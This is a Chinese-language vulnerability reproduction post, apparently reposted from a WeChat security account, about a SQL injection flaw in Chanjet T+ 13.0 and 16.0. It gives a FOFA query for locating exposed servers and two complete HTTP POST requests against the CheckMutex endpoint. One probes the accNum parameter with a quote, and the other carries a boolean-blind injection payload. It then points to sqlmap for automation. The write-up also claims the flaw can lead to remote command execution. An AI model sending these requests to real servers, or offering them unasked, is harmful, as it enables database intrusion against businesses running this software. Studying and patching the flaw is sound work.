用友畅捷通T+ 前台SQL注入漏洞复现

漏洞描述

畅捷通T+的某后台功能点只校验了权限，未对用户的输入进行过滤，导致在权限绕过后存在SQL注入漏洞，利用此漏洞攻击者最终可以实现远程命令执行。

影响范围

畅捷通T+ 13.0
畅捷通T+ 16.0

漏洞复现

fofa语法：app="畅捷通-TPlus"

poc

POST /tplus/ajaxpro/Ufida.T.SM.UIP.MultiCompanyController,Ufida.T.SM.UIP.ashx?method=CheckMutex HTTP/1.1
Host: x.x.x.x
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: HOST=null; ASP.NET_SessionId=bckreyoztu1sja1ilfzuovdp; Hm_lvt_fd4ca40261bc424e2d120b806d985a14=1721710682; HMACCOUNT=825944B188852EE4; Hm_lpvt_fd4ca40261bc424e2d120b806d985a14=1721711134
If-None-Match: W/"5cdcb35e-77df"
If-Modified-Since: Thu, 16 May 2019 00:48:30 GMT
Connection: close
Content-Length: 57

{"accNum": "6'", "functionTag": "SYS0104", "url": ""}

发现accNum参数处加单引号会出现数据库报错，出现这种情况，一般存在SQL注入。
构造布尔盲注payload

POST /tplus/ajaxpro/Ufida.T.SM.UIP.MultiCompanyController,Ufida.T.SM.UIP.ashx?method=CheckMutex HTTP/1.1
Host: x.x.x.x
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: HOST=null; ASP.NET_SessionId=bckreyoztu1sja1ilfzuovdp; Hm_lvt_fd4ca40261bc424e2d120b806d985a14=1721710682; HMACCOUNT=825944B188852EE4; Hm_lpvt_fd4ca40261bc424e2d120b806d985a14=1721711134
If-None-Match: W/"5cdcb35e-77df"
If-Modified-Since: Thu, 16 May 2019 00:48:30 GMT
Connection: close
Content-Length: 250

{"accNum": "3' AND 5227 IN (SELECT (CHAR(113)+CHAR(118)+CHAR(112)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (5227=5227) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(120)+CHAR(113)))-- NCab", "functionTag": "SYS0104", "url": ""}

编写了一个带有子查询的sql语句，通过判断5227是否等于5227，来构造一个布尔查询，如果返回真，即返回字符1，否则返回字符0

接下来直接使用sqlmap一把梭验证一下。

免责申明：本文内容为学习笔记分享，仅供技术学习参考，请勿用作违法用途，任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责，与作者无关！！！

原文始发于微信公众号（船山信安）：用友畅捷通T+ 前台SQL注入漏洞复现